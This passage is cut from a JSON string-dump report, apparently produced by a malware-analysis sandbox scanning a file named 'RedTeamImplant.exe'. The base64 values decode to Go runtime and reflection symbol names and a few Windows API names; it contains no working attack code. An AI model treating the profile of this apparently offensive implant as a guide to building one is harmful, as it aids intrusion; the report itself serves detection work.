Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5uYW1lT2ZmRm9y","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5uZXdBYmlEZXNj","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5uZXdOYW1l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5wYWNrRWZhY2U=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5wYWNrSWZhY2VWYWx1ZUludG9FbXB0eUlmYWNl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5yZXNvbHZlTmFtZU9mZg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5yZXNvbHZlUmVmbGVjdE5hbWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5yZXNvbHZlVGV4dE9mZg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5yZXNvbHZlVHlwZU9mZg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5zdG9yZVJjdnI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5zdHJpbmdGb3I=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC50ZXh0T2ZmRm9y","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC50b1R5cGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC50eXBlZG1lbWNscg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC50eXBlZG1lbW1vdmU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5UeXBlT2Y=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC50eXBlT2ZmRm9y","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC51bnBhY2tFZmFjZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC51bnNhZmVfTmV3","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5WYWx1ZS5hYmlUeXBlU2xvdw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5WYWx1ZS5Cb29s","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5WYWx1ZS5CeXRlcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5WYWx1ZS5ieXRlc1Nsb3c=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5WYWx1ZS5DYW5BZGRy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5WYWx1ZS5DYW5JbnRlcmZhY2U=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5WYWx1ZS5Db21wYXJhYmxl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5WYWx1ZS5Db21wbGV4","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5WYWx1ZS5FbGVt","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5WYWx1ZS5GaWVsZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5WYWx1ZS5GbG9hdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5WYWx1ZS5JbmRleA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5WYWx1ZS5JbnQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5WYWx1ZS5JbnRlcmZhY2U=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5WYWx1ZS5Jc05pbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5WYWx1ZS5Jc1ZhbGlk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5WYWx1ZS5LaW5k","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5WYWx1ZS5MZW4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5WYWx1ZS5sZW5Ob25TbGljZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5WYWx1ZS5NYXBSYW5nZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5WYWx1ZS5OdW1GaWVsZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5WYWx1ZS5OdW1NZXRob2Q=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5WYWx1ZS5wYW5pY05vdEJvb2w=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5WYWx1ZS5wb2ludGVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5WYWx1ZS5Qb2ludGVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5WYWx1ZS5TdHJpbmc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5WYWx1ZS5zdHJpbmdOb25TdHJpbmc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5WYWx1ZS5UeXBl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5WYWx1ZS50eXBlU2xvdw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5WYWx1ZS5VaW50","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5WYWx1ZS5VbnNhZmVQb2ludGVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC52YWx1ZUludGVyZmFjZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC52YWx1ZU1ldGhvZE5hbWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC5WYWx1ZU9m","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmbGVjdC52ZXJpZnlOb3RJbkhlYXBQdHI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVmcmVzaFBpbm5lckJpdHM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVnQXNzaWdu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVsZWFzZUFsbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVsZWFzZXRpbWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVtb3Zl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVtb3ZlR3JlYXRlckVxdWFs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVvcmRlcmVk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVwYW5pY2tlZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVwYXJzZVRhZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVwbGFjZVRhYmxl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVwb3J0Wm9tYmllcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmVzdW1lc2VtYQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmVzdW1lVGhyZWFk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cmV0T2Zmc2V0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"UmV0dXJuSXNQdHI=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$cf","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$d0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"$d1","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnRiYWQgc3BlY2lhbCBraW5kcGFnZSBhbGxvYyBpbmRleGJhZCBzdW1tYXJ5IGRhdGFydW50aW1lOiBhZGRyID0gcnVudGltZTogYmFzZSA9IHJ1bnRpbWU6IGhlYWQgPSB0aW1lQmVnaW5QZXJpb2Q=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"UnRsTG9va3VwRnVuY3Rpb25FbnRyeQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"UnRsVmlydHVhbFVud2luZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"clVubG9ja1Nsb3c=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVubmFibGVUaW1l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVubmluZ0NsZWFudXBz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVucWhlYWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVucXRhaWw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVuU2FmZVBvaW50Rm4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZSBI","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKl9ESVNQQVRDSEVSX0NPTlRFWFQpLmN0eA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKl9mdW5jKS5mdW5jSW5mbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKl9mdW5jKS5pc0lubGluZWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKl9wYW5pYykuaW5pdE9wZW5Db2RlZERlZmVycw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKl9wYW5pYykubmV4dERlZmVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKl9wYW5pYykubmV4dEZyYW1l","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKl9wYW5pYykubmV4dEZyYW1lLmZ1bmMx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKl9wYW5pYykuc3RhcnQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmFiaURlc2MpLmFzc2lnbkFyZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmFiaURlc2MpLmFzc2lnblJlZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmFiaURlc2MpLnRyeVJlZ0Fzc2lnbkFyZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmFiaVBhcnQpLnRyeU1lcmdl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmFjdGl2ZVN3ZWVwKS5iZWdpbg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmFjdGl2ZVN3ZWVwKS5lbmQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmFjdGl2ZVN3ZWVwKS5pc0RvbmU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmFjdGl2ZVN3ZWVwKS5tYXJrRHJhaW5lZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmFjdGl2ZVN3ZWVwKS5yZXNldA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmFjdGl2ZVN3ZWVwKS5zd2VlcGVycw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmFkZHJSYW5nZXMpLmFkZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmFkZHJSYW5nZXMpLmNsb25lSW50bw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmFkZHJSYW5nZXMpLmZpbmRBZGRyR3JlYXRlckVxdWFs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmFkZHJSYW5nZXMpLmZpbmRTdWNj","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmFkZHJSYW5nZXMpLmluaXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmF0b21pY0hlYWRUYWlsSW5kZXgpLmNhcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmF0b21pY0hlYWRUYWlsSW5kZXgpLmluY1RhaWw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmF0b21pY0hlYWRUYWlsSW5kZXgpLmxvYWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmF0b21pY0hlYWRUYWlsSW5kZXgpLnJlc2V0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmF0b21pY01TcGFuUG9pbnRlcikuTG9hZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmF0b21pY01TcGFuUG9pbnRlcikuU3RvcmVOb1dC","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmF0b21pY09mZkFkZHIpLkNsZWFy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmF0b21pY09mZkFkZHIpLkxvYWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmF0b21pY09mZkFkZHIpLlN0b3JlTWFya2Vk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmF0b21pY09mZkFkZHIpLlN0b3JlTWlu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmF0b21pY09mZkFkZHIpLlN0b3JlVW5tYXJr","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmF0b21pY1NjYXZDaHVua0RhdGEpLmxvYWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmF0b21pY1NjYXZDaHVua0RhdGEpLnN0b3Jl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmF0b21pY1NwYW5TZXRTcGluZVBvaW50ZXIpLkxvYWQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmF0b21pY1NwYW5TZXRTcGluZVBvaW50ZXIpLlN0b3JlTm9XQg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmJvdW5kc0Vycm9yKS5FcnJvcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmJ1Y2tldCkuYnA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmJ1Y2tldCkubXA=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmJ1Y2tldCkuc3Rr","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmNsZWFudXBCbG9jaykuZW1wdHk=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmNsZWFudXBCbG9jaykuZW5xdWV1ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmNsZWFudXBCbG9jaykuZnVsbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmNsZWFudXBCbG9jaykudGFrZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmNsZWFudXBRdWV1ZSkuYWRkV29yaw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmNsZWFudXBRdWV1ZSkuYmVnaW5SdW5uaW5nQ2xlYW51cHM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmNsZWFudXBRdWV1ZSkuY3JlYXRlR3M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmNsZWFudXBRdWV1ZSkuZGVxdWV1ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmNsZWFudXBRdWV1ZSkuZW5kUnVubmluZ0NsZWFudXBz","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmNsZWFudXBRdWV1ZSkuZW5xdWV1ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmNsZWFudXBRdWV1ZSkuZmx1c2g=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmNsZWFudXBRdWV1ZSkubmVlZEc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmNsZWFudXBRdWV1ZSkubmVlZHNXYWtl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmNsZWFudXBRdWV1ZSkucmVhZFF1ZXVlU3RhdHM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmNsZWFudXBRdWV1ZSkudHJ5VGFrZVdvcms=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmNsZWFudXBRdWV1ZSkud2FrZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmNvbnNpc3RlbnRIZWFwU3RhdHMpLmFjcXVpcmU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmNvbnNpc3RlbnRIZWFwU3RhdHMpLnJlbGVhc2U=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmNvbnRleHQpLmlw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmNvbnRleHQpLnB1c2hDYWxs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmNvbnRleHQpLnNldF9pcA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmNvbnRleHQpLnNldF9zcA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmNvbnRleHQpLnNw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmNwdVN0YXRzKS5hY2N1bXVsYXRl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmNwdVN0YXRzKS5hY2N1bXVsYXRlR0NQYXVzZVRpbWU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmVycm9yQWRkcmVzc1N0cmluZykuRXJyb3I=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"cnVudGltZS4oKmVycm9yU3RyaW5nKS5FcnJvcg==","type":"Ansi","source":"Memory/File 